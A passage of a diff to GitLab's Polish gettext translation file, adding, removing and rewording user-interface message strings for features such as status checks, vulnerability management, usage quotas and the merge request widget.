+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31979,6 +32542,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Coś poszło nie tak podczas pobierania środowisk dla tego żądania scalenia. Spróbuj ponownie."
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr "Rozpocznij recenzjÄ™"
-msgid "Start and due date"
-msgstr "Data początkowa i końcowa"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,7 +35042,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Połączenie upłynie po %{timeout}. W przypadku repozytoriów, którym zajmuje to dłużej, użyj kombinacji klonuj/pchnij."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36534,6 +37157,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37069,6 +37698,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37315,9 +37950,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,13 +40282,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41351,13 +42014,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41478,12 +42141,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
